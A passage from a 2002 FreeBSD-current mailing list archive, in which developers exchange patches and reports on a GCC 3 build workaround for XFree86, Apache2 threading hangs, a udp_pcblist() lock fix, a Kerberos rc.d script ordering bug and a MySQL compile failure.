List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


--cNdxnHkX5QqsyA0e
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On 2002-06-16 02:39 -0700, Kris Kennaway <kris@obsecurity.org> wrote:
> On Sat, Jun 08, 2002 at 11:29:26AM +0200, Stefan Esser wrote:
> 
> > I got around this problem by (indirectly) fixing the ".c.o" rule
> > in the Imakefile. This patch was part of my previous mail to you
> > regarding the XFree86 library build process (new version of patch-z32).
> 
> Thanks for looking into this; I'd appreciate it if someone could
> commit a fix, but the patch below is suboptimal because it affects all
> versions of FreeBSD.  Can you modify it so it only disables
> optimization on (recent) 5.0?
> 
> > File:	/usr/ports/x11/XFree86-4-libraries/files/patch-z32
> > 
> > --- lib/GL/mesa/src/OSmesa/Imakefile.orig	Tue Apr  3 11:29:33 2001
> > +++ lib/GL/mesa/src/OSmesa/Imakefile	Wed Jun  5 12:28:26 2002

Ok, here is an improved patch:

1) I've made the redefinition of the compiler command 
   dependent on __GCC__ >= 3.

2) The actual rule that is generated for GCC-3.x is now of the form

	cc -O ... || cc -O0 ...

   That way, only those files that could not be compiled with 
   optimization enabled are tried again without optimization:

#if defined(__GNUC__) && __GNUC__ >= 3
#define ObjectCompile(options) RemoveFile($@)                           @@\
	ClearmakeOSName \
	$(CC) -c $(CFLAGS) options $*.c -o $@ || \
	$(CC) -c $(CFLAGS) options -O0 $*.c -o $@
#endif

The GCC bug is triggered building XFree86-4-libraries and XFree86-4-Server. 
I include uni-diffs for patch "patch-z32" to fix the former, and a new 
"patch-OSmesa-Imake" for the latter (both to be applied from /usr/ports/).

I'm currently rebuilding both the libraries and server ports with
those patches, but it will take some time on my ancient system at
home (still a Celeron 300A ...).

Regards, STefan

--cNdxnHkX5QqsyA0e
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="XFree86-4-libraries.PATCH"

RCS file: /usr/cvs/ports/x11/XFree86-4-libraries/files/patch-z32,v
retrieving revision 1.3
diff -u -3 -r1.3 patch-z32
--- x11/XFree86-4-libraries/files/patch-z32	12 Jun 2001 14:59:51 -0000	1.3
+++ x11/XFree86-4-libraries/files/patch-z32	21 Jun 2002 12:04:17 -0000
@@ -1,5 +1,24 @@
 --- lib/GL/mesa/src/OSmesa/Imakefile.orig	Tue Apr  3 11:29:33 2001
-+++ lib/GL/mesa/src/OSmesa/Imakefile	Thu Jun  7 02:58:09 2001
++++ lib/GL/mesa/src/OSmesa/Imakefile	Fri Jun 21 13:55:44 2002
+@@ -8,6 +8,18 @@
+ #define DoDebugLib DebugLibGlx
+ #define DoProfileLib ProfileLibGlx
+ 
++#define LibObjCompile(dir,options) RemoveFiles($@ $(@:C!([^/]+)$!dir/\1!))	@@\
++	ClearmakeOSName \
++	$(CC) -c $(CCOPTIONS) $(THREADS_CFLAGS) $(ALLDEFINES) \
++	options $*.c -o $(@:C!([^/]+)$!dir/\1!)
++
++#if defined(__GNUC__) && __GNUC__ >= 3
++#define ObjectCompile(options) RemoveFile($@)                           @@\
++	ClearmakeOSName \
++	$(CC) -c $(CFLAGS) options $*.c -o $@ || \
++	$(CC) -c $(CFLAGS) options -O0 $*.c -o $@
++#endif
++
+ #include "../Imakefile.inc"
+ #ifdef i386Architecture
+ #include "../X86/Imakefile.inc"
 @@ -58,7 +58,7 @@
  LIBNAME = OSMesa
  SOREV = 3.3

--cNdxnHkX5QqsyA0e
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="XFree86-4-Server.PATCH"

--- /dev/null	Fri Jun 21 14:14:52 2002
+++ x11-servers/XFree86-4-Server/files/patch-OSmesa-Imakefile	Fri Jun 21 13:59:36 2002
@@ -0,0 +1,16 @@
+--- lib/GL/mesa/src/OSmesa/Imakefile.orig	Fri Jun 21 11:23:42 2002
++++ lib/GL/mesa/src/OSmesa/Imakefile	Fri Jun 21 13:55:44 2002
+@@ -8,6 +8,13 @@
+ #define DoDebugLib DebugLibGlx
+ #define DoProfileLib ProfileLibGlx
+ 
++#if defined(__GNUC__) && __GNUC__ >= 3
++#define ObjectCompile(options) RemoveFile($@)                           @@\
++	ClearmakeOSName \
++	$(CC) -c $(CFLAGS) options $*.c -o $@ || \
++	$(CC) -c $(CFLAGS) options -O0 $*.c -o $@
++#endif
++
+ #include "../Imakefile.inc"
+ #ifdef i386Architecture
+ #include "../X86/Imakefile.inc"

--cNdxnHkX5QqsyA0e--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  6:31:59 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.imp.ch (mail.imp.ch [157.161.1.2])
	by hub.freebsd.org (Postfix) with ESMTP
	id B555637B404; Fri, 21 Jun 2002 06:31:43 -0700 (PDT)
Received: from nbs.imp.ch (nbs.imp.ch [157.161.4.7])
	by mail.imp.ch (8.11.6/8.11.6) with ESMTP id g5LDVgb55581;
	Fri, 21 Jun 2002 15:31:42 +0200 (CEST)
Received: from levais.imp.ch (levais.imp.ch [157.161.4.66])
	by nbs.imp.ch (8.12.3/8.12.3) with ESMTP id g5LDVg9014242258;
	Fri, 21 Jun 2002 15:31:42 +0200 (MES)
Date: Fri, 21 Jun 2002 15:33:38 +0200 (CEST)
From: Martin Blapp <mb@imp.ch>
To: Daniel Eischen <eischen@pcnet1.pcnet.com>
Cc: Anders Nordby <anders@FreeBSD.org>, <current@FreeBSD.org>,
	<deischen@FreeBSD.org>
Subject: Re: (forw) Apache2 in threaded mode for FreeBSD..
In-Reply-To: <Pine.GSO.4.10.10206210734570.18115-100000@pcnet1.pcnet.com>
Message-ID: <20020621153155.I550-100000@levais.imp.ch>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


Hi,

Looks like Rev. 1.9 and Rev. 1.7 of src/lib/libc_r/uthread/uthread_sendfile.c
never have been MFC'd.

I added those fixes, but apache2 is still a no go with threads.

Martin

Martin Blapp, <mb@imp.ch> <mbr@FreeBSD.org>
------------------------------------------------------------------
ImproWare AG, UNIXSP & ISP, Zurlindenstrasse 29, 4133 Pratteln, CH
Phone: +41 061 826 93 00: +41 61 826 93 01
PGP: <finger -l mbr@freebsd.org>
PGP Fingerprint: B434 53FC C87C FE7B 0A18 B84C 8686 EF22 D300 551E
------------------------------------------------------------------


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  6:42:45 2002
Delivered-To: freebsd-current@freebsd.org
Received: from elvis.mu.org (elvis.mu.org [192.203.228.196])
	by hub.freebsd.org (Postfix) with ESMTP
	id 58E7A37B40A; Fri, 21 Jun 2002 06:42:39 -0700 (PDT)
Received: by elvis.mu.org (Postfix, from userid 1920)
	id 29FEFAE333; Fri, 21 Jun 2002 06:42:39 -0700 (PDT)
Date: Fri, 21 Jun 2002 06:42:39 -0700
From: Maxime Henrion <mux@freebsd.org>
To: current@FreeBSD.org
Cc: hsu@FreeBSD.org
Subject: fix for a bug that causes a panic in the udp_pcblist() sysctl
Message-ID: <20020621134239.GX85244@elvis.mu.org>
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="YrlhzR9YrZtruaFS"
Content-Disposition: inline
User-Agent: Mutt/1.3.27i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


--YrlhzR9YrZtruaFS
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

	Hi all,


I just fixed a bug that has been hitting me everytime I do a sysctl -a
since inp locking was committed.  I would like to commit it as soon as
possible, so I'd like it if someone could review it.

Thanks,
Maxime

--YrlhzR9YrZtruaFS
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="udp_usrreq.diff"

Index: udp_usrreq.c
===================================================================
RCS file: /space2/ncvs/src/sys/netinet/udp_usrreq.c,v
retrieving revision 1.113
diff -u -p -r1.113 udp_usrreq.c
--- udp_usrreq.c	14 Jun 2002 08:35:14 -0000	1.113
+++ udp_usrreq.c	21 Jun 2002 13:31:27 -0000
@@ -617,8 +617,10 @@ udp_pcblist(SYSCTL_HANDLER_ARGS)
 		INP_LOCK(inp);
 		if (inp->inp_gencnt <= gencnt) {
 			if (cr_canseesocket(req->td->td_ucred,
-			    inp->inp_socket))
+			    inp->inp_socket)) {
+				INP_UNLOCK(inp);
 				continue;
+			}
 			inp_list[i++] = inp;
 		}
 		INP_UNLOCK(inp);

--YrlhzR9YrZtruaFS--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  6:46:30 2002
Delivered-To: freebsd-current@freebsd.org
Received: from srv1.cosmo-project.de (srv1.cosmo-project.de [213.83.6.106])
	by hub.freebsd.org (Postfix) with ESMTP
	id 2D09737B403; Fri, 21 Jun 2002 06:46:25 -0700 (PDT)
Received: from cicely5.cicely.de (cicely5.cicely.de [IPv6:3ffe:400:8d0:301:200:92ff:fe9b:20e7])
	(authenticated bits=0)
	by srv1.cosmo-project.de (8.12.3/8.12.3) with ESMTP id g5LDkJMa076046
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK);
	Fri, 21 Jun 2002 15:46:23 +0200 (CEST)
	(envelope-from ticso@cicely5.cicely.de)
Received: from cicely5.cicely.de (localhost [IPv6:::1])
	by cicely5.cicely.de (8.12.1/8.12.1) with ESMTP id g5LDkHFJ037622
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Fri, 21 Jun 2002 15:46:17 +0200 (CEST)?g
	(envelope-from ticso@cicely5.cicely.de)
Received: (from ticso@localhost)
	by cicely5.cicely.de (8.12.1/8.12.1/Submit) id g5LDkHnM037621;
	Fri, 21 Jun 2002 15:46:17 +0200 (CEST)?g
	(envelope-from ticso)
Date: Fri, 21 Jun 2002 15:46:16 +0200
From: Bernd Walter <ticso@cicely5.cicely.de>
To: Martin Blapp <mb@imp.ch>
Cc: Anders Nordby <anders@FreeBSD.ORG>, current@FreeBSD.ORG,
	deischen@FreeBSD.ORG, Daniel Eischen <eischen@pcnet1.pcnet.com>
Subject: Re: Apache2 in threaded mode for FreeBSD ...
Message-ID: <20020621134616.GR31943@cicely5.cicely.de>
Reply-To: ticso@cicely.de
References: <20020621141713.O550-100000@levais.imp.ch>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020621141713.O550-100000@levais.imp.ch>
X-Operating-System: FreeBSD cicely5.cicely.de 5.0-CURRENT i386
User-Agent: Mutt/1.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Fri, Jun 21, 2002 at 02:25:18PM +0200, Martin Blapp wrote:
> 
> Hi Daniel,
> 
> Port is /usr/ports/www/apache2, compiled with:
> 
> make WITH_MPM=perchild FORCE_THREADING_MPM=yes install
> 
> Note that this problem happens with ALL threaded MPM's.
> 
> bash-2.05a# ps -aux | grep httpd
> root   96690  0.0  0.4  5800 3944  ??  Ss    2:13PM   0:00.01 httpd
> www    96691  0.0  0.4  5800 3980  ??  S     2:13PM   0:00.00 httpd
> 
> bash-2.05a# telnet localhost 80
> Trying ::1...
> Connected to localhost.
> Escape character is '^]'.
> GET / HTTP/1.0
> 
> and there it hangs.
> 
> Gdb only shows:
> 
> PID 96690
> 
> #0  0x282b2808 in _thread_sys_poll () from /usr/lib/libc_r.so.4
> #1  0x282b177e in thread_kern_poll (wait_reqd=2)
>     at /usr/src/lib/libc_r/uthread/uthread_kern.c:829
> #2  0x282b0dea in _thread_kern_scheduler ()
>     at /usr/src/lib/libc_r/uthread/uthread_kern.c:482
> #3  0x0 in ?? ()

That's the normal condition if it beleaves no thread is runnable.
The question is which of the following aply:
1. an event to a a thread into running state was missed.
2. apache2 deadlocked itself because it makes wrong assumptions
  about timing, ...
3. something else.

If the apache team could exclude case 2 for shure they should be
able to tell what went wrong with FreeBSDs implementation.

At the beginning of the year I had an apache2 with mod_php4 running on
a 4.5-RC1 alpha, but it wasted CPU cycles because one thread was
continuously runnable so I had to revert back to apache1.

-- 
B.Walter              COSMO-Project         http://www.cosmo-project.de
ticso@cicely.de         Usergroup           info@cosmo-project.de


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  6:57:15 2002
Delivered-To: freebsd-current@freebsd.org
Received: from elvis.mu.org (elvis.mu.org [192.203.228.196])
	by hub.freebsd.org (Postfix) with ESMTP
	id BA20F37B40C; Fri, 21 Jun 2002 06:57:11 -0700 (PDT)
Received: by elvis.mu.org (Postfix, from userid 1920)
	id 7DDA4AE333; Fri, 21 Jun 2002 06:57:11 -0700 (PDT)
Date: Fri, 21 Jun 2002 06:57:11 -0700
From: Maxime Henrion <mux@freebsd.org>
To: current@FreeBSD.org
Cc: hsu@FreeBSD.org
Subject: Re: fix for a bug that causes a panic in the udp_pcblist() sysctl
Message-ID: <20020621135711.GY85244@elvis.mu.org>
References: <20020621134239.GX85244@elvis.mu.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020621134239.GX85244@elvis.mu.org>
User-Agent: Mutt/1.3.27i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Maxime Henrion wrote:
> 	Hi all,
> 
> 
> I just fixed a bug that has been hitting me everytime I do a sysctl -a
> since inp locking was committed.

BTW, this bug probably only arises when the security.bsd.see_other_uids
sysctl is set to 0, otherwise the cr_canseesocket() call always
succeeds.  So if you can't reproduce the bug, try setting
security.bsd.see_other_uids to 0 first. :-)

Thanks,
Maxime

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  7:34: 1 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.imp.ch (mail.imp.ch [157.161.1.2])
	by hub.freebsd.org (Postfix) with ESMTP
	id BDFAE37B404; Fri, 21 Jun 2002 07:33:54 -0700 (PDT)
Received: from nbs.imp.ch (nbs.imp.ch [157.161.4.7])
	by mail.imp.ch (8.11.6/8.11.6) with ESMTP id g5LEXqb68266;
	Fri, 21 Jun 2002 16:33:52 +0200 (CEST)
Received: from levais.imp.ch (levais.imp.ch [157.161.4.66])
	by nbs.imp.ch (8.12.3/8.12.3) with ESMTP id g5LEXp9014239592;
	Fri, 21 Jun 2002 16:33:52 +0200 (MES)
Date: Fri, 21 Jun 2002 16:35:47 +0200 (CEST)
From: Martin Blapp <mb@imp.ch>
To: Stefan Esser <se@freebsd.org>,
	Kris Kennaway <kris@obsecurity.org>,
	Yamada Ken Takeshi <ken@tydfam.jp>, <freebsd-current@freebsd.org>
Subject: Re: GCC3.1 internal compiler error when compiling XFree86-4-libraries
Message-ID: <20020621154758.F550-100000@levais.imp.ch>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


Hi,

I still wonder why we make workarounds like this if one could just
use /usr/local/bin/gcc31 to have it fixed.

Why mess around with a buggy compiler if a working one is around ?

Why don't we update the pre 3.1 gcc in CURRENT to a working one ?

Yes, I turned on -O and O2 again ;-)

Martin

Martin Blapp, <mb@imp.ch> <mbr@FreeBSD.org>
------------------------------------------------------------------
ImproWare AG, UNIXSP & ISP, Zurlindenstrasse 29, 4133 Pratteln, CH
Phone: +41 061 826 93 00: +41 61 826 93 01
PGP: <finger -l mbr@freebsd.org>
PGP Fingerprint: B434 53FC C87C FE7B 0A18 B84C 8686 EF22 D300 551E
------------------------------------------------------------------




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  7:39:53 2002
Delivered-To: freebsd-current@freebsd.org
Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31])
	by hub.freebsd.org (Postfix) with ESMTP id 23D6737B40C
	for <current@freebsd.org>; Fri, 21 Jun 2002 07:39:48 -0700 (PDT)
Received: by flood.ping.uio.no (Postfix, from userid 2602)
	id 679445361; Fri, 21 Jun 2002 16:39:46 +0200 (CEST)
X-URL: http://www.ofug.org/~des/
X-Disclaimer: The views expressed in this message do not necessarily
  coincide with those of any organisation or company with
  which I am or have been affiliated.
To: current@freebsd.org
Cc: makonnen@pacbell.net
Subject: rc_ng trouble with Kerberos
From: Dag-Erling Smorgrav <des@ofug.org>
Date: 21 Jun 2002 16:39:45 +0200
Message-ID: <xzpofe44rwu.fsf@flood.ping.uio.no>
Lines: 18
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

root@dsa /var/heimdal# grep \^k /etc/rc.conf
kerberos_stash="YES"
kerberos5_server_enable="YES"
kadmind5_server_enable="YES"
root@dsa /var/heimdal# /etc/rc.d/kerberos start
/etc/rc.d/kerberos: DEBUG: checkyesno: kerberos_stash is set to .
/etc/rc.d/kerberos: WARNING: $kerberos_stash is not set properly.
/etc/rc.d/kerberos: DEBUG: Sourcing /etc/defaults/rc.conf
/etc/rc.d/kerberos: DEBUG: checkyesno: kerberos4_server_enable is set to NO.
/etc/rc.d/kerberos: DEBUG: checkyesno: kerberos5_server_enable is set to YES.
[...]

It looks like /etc/rc.d/kerberos checks kerberos_stash before reading
rc.conf.

DES
-- 
Dag-Erling Smorgrav - des@ofug.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  7:42: 9 2002
Delivered-To: freebsd-current@freebsd.org
Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31])
	by hub.freebsd.org (Postfix) with ESMTP id E69F137B409
	for <current@freebsd.org>; Fri, 21 Jun 2002 07:42:04 -0700 (PDT)
Received: by flood.ping.uio.no (Postfix, from userid 2602)
	id 98BBC5361; Fri, 21 Jun 2002 16:42:03 +0200 (CEST)
X-URL: http://www.ofug.org/~des/
X-Disclaimer: The views expressed in this message do not necessarily
  coincide with those of any organisation or company with
  which I am or have been affiliated.
To: current@freebsd.org
Cc: makonnen@pacbell.net
Subject: Re: rc_ng trouble with Kerberos
References: <xzpofe44rwu.fsf@flood.ping.uio.no>
From: Dag-Erling Smorgrav <des@ofug.org>
Date: 21 Jun 2002 16:42:02 +0200
In-Reply-To: <xzpofe44rwu.fsf@flood.ping.uio.no>
Message-ID: <xzpk7os4rt1.fsf@flood.ping.uio.no>
Lines: 29
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Dag-Erling Smorgrav <des@ofug.org> writes:
> It looks like /etc/rc.d/kerberos checks kerberos_stash before reading
> rc.conf.

And the patch:

Index: kerberos
===================================================================
RCS file: /home/ncvs/src/etc/rc.d/kerberos,v
retrieving revision 1.1
diff -u -r1.1 kerberos
--- kerberos    13 Jun 2002 22:14:36 -0000      1.1
+++ kerberos    21 Jun 2002 14:41:23 -0000
@@ -12,10 +12,9 @@
 name="kerberosIV"
 rcvar="kerberos4_server_enable"
 command="${kerberos4_server}"
+load_rc_config $name
 checkyesno kerberos_stash && stash='-n' || stash=
 command_args="${stash} >> /var/log/kerberos.log &"
-
-load_rc_config $name
 run_rc_command "$1"

 name="kerberos5"

DES
-- 
Dag-Erling Smorgrav - des@ofug.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  8:44:27 2002
Delivered-To: freebsd-current@freebsd.org
Received: from yeoman.sinbad.net (yeoman.sinbad.net [12.17.176.5])
	by hub.freebsd.org (Postfix) with ESMTP
	id D434A37B40B; Fri, 21 Jun 2002 08:44:20 -0700 (PDT)
Received: from there (95-7-237-24-cable.anchorageak.net [24.237.7.95])
	by yeoman.sinbad.net (Postfix) with SMTP
	id DBFE220AD3; Fri, 21 Jun 2002 07:44:13 -0800 (AKDT)
Content-Type: text/plain;
  charset="iso-8859-1"
From: Beech Rintoul <akbeech@sinbad.net>
Reply-To: akbeech@sinbad.net
To: Dirk Froemberg <dirk@FreeBSD.org>
Subject: Re: MySQL 3.23.51 Error
Date: Fri, 21 Jun 2002 07:44:13 -0800
X-Mailer: KMail [version 1.3]
References: <20020620175423.4414377@nebula.anchoragerescue.org> <20020621161245.B62444@physik.TU-Berlin.DE>
In-Reply-To: <20020621161245.B62444@physik.TU-Berlin.DE>
Organization: Sinbad Network Communications
Cc: freebsd-current@freebsd.org
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Message-Id: <20020621154413.DBFE220AD3@yeoman.sinbad.net>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Friday 21 June 2002 06:12 am, you wrote:
> Hi!
>
> On Thu, Jun 20, 2002 at 09:54:23AM -0800, Beech Rintoul wrote:
> > Compile of mysql323 server fails with the following:
> >
> >
> > cc -DMYSQL_SERVER                      
> > -DDEFAULT_MYSQL_HOME="\"/usr/local\"" -DDATADIR="\"/var/db/mysql\""
> > -DSHAREDIR="\"/usr/local/share/mysql\""
> > -DHAVE_CONFIG_H -I../bdb/build_unix -I../innobase/include
> > -I./../include                  -I./../regex                  -I.
> > -I../include -I.. -I.    -DDBUG_OFF -O -pipe  -felide-constructors
> > -fno-rtti -fno-exceptions  -fno-implicit-templates -fno-exceptions
> > -fno-rtti -DMYSQLD_NET_RETRY_COUNT=1000000 -c mysqld.cc
> > /usr/include/tcpd.h: In function `void*
> > handle_connections_sockets(void*)': /usr/include/tcpd.h:137: too many
> > arguments to function `void sock_host()' mysqld.cc:2428: at this point in
> > file
> > /usr/include/tcpd.h:75: too many arguments to function `int
> > hosts_access()' mysqld.cc:2429: at this point in file
> > /usr/include/tcpd.h:130: too many arguments to function `char*
> > eval_client()' mysqld.cc:2437: at this point in file
> > *** Error code 1
> >
> > Stop in /usr/ports/databases/mysql323-server/work/mysql-3.23.51/sql.
> > *** Error code 1
> >
> >  uname -a
> > FreeBSD nova.anchoragerescue.org 5.0-CURRENT FreeBSD 5.0-CURRENT #0: Thu> 
	Regards Dirk

> > Jun 20 02:06:12 AKDT 2002
> > akbeech@nova.anchoragerescue.org:/usr/obj/usr/src/sys/NOVA  i386
>
> Did version 3.23.49 compile on your system?
>
Yes it did, that's what I upgraded from. This seems to be an issue with 
-current only. The same code compiled ok on two of my 4.6 Boxes.

Beech
-- 
-------------------------------------------------------------------
      Beech Rintoul - SysAdmin - akbeech@sinbad.net
/"\   ASCII Ribbon Campaign  | Sinbad Network Communications
\ / - NO HTML/RTF in e-mail  | 3101 Penland Parkway #K-38
 X  - NO Word docs in e-mail | Anchorage, AK 99508-1957
/ \ -----------------------------------------------------------------












To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  8:57: 5 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mta5.snfc21.pbi.net (mta5.snfc21.pbi.net [206.13.28.241])
	by hub.freebsd.org (Postfix) with ESMTP
	id 641EE37B401; Fri, 21 Jun 2002 08:57:00 -0700 (PDT)
Received: from FreeBSD.org ([63.193.112.125])
 by mta5.snfc21.pbi.net (iPlanet Messaging Server 5.1 (built May  7 2001))
 with ESMTP id <0GY2005KQCAZM9@mta5.snfc21.pbi.net>; Fri,
 21 Jun 2002 08:57:00 -0700 (PDT)
Date: Fri, 21 Jun 2002 08:57:10 -0700
From: Jeffrey Hsu <hsu@FreeBSD.org>
Subject: Re: fix for a bug that causes a panic in the udp_pcblist() sysctl
In-reply-to: Message from Maxime Henrion <mux@freebsd.org>
 "of Fri, 21 Jun 2002 06:42:39 PDT." <20020621134239.GX85244@elvis.mu.org>
To: Maxime Henrion <mux@freebsd.org>
Cc: current@FreeBSD.org
Message-id: <0GY2005KRCAZM9@mta5.snfc21.pbi.net>
MIME-version: 1.0
X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7BIT
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Can you try this fix instead?  It's based on a similar patch Jonathan Lemon
sent to me for a similar spot in tcp_subr.c.

Index: udp_usrreq.c
===================================================================
RCS file: /home/ncvs/src/sys/netinet/udp_usrreq.c,v
retrieving revision 1.113
diff -u -r1.113 udp_usrreq.c
--- udp_usrreq.c	14 Jun 2002 08:35:14 -0000	1.113
+++ udp_usrreq.c	21 Jun 2002 15:54:26 -0000
@@ -615,12 +615,9 @@
 	for (inp = LIST_FIRST(udbinfo.listhead), i = 0; inp && i < n;
 	     inp = LIST_NEXT(inp, inp_list)) {
 		INP_LOCK(inp);
-		if (inp->inp_gencnt <= gencnt) {
-			if (cr_canseesocket(req->td->td_ucred,
-			    inp->inp_socket))
-				continue;
+		if (inp->inp_gencnt <= gencnt &&
+		    cr_canseesocket(req->td->td_ucred, inp->inp_socket) == 0)
 			inp_list[i++] = inp;
-		}
 		INP_UNLOCK(inp);
 	}
 	INP_INFO_RUNLOCK(&udbinfo);



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Fri Jun 21  9: 4:41 2002
Delivered-To: freebsd-current@freebsd.org
Received: from elvis.mu.org (elvis.mu.org [192.203.228.196])
	by hub.freebsd.org (Postfix) with ESMTP
	id 3268037B401; Fri, 21 Jun 2002 09:04:38 -0700 (PDT)
Received: by elvis.mu.org (Postfix, from userid 1920)
	id EE2A7AE36A; Fri, 21 Jun 2002 09:04:37 -0700 (PDT)
Date: Fri, 21 Jun 2002 09:04:37 -0700
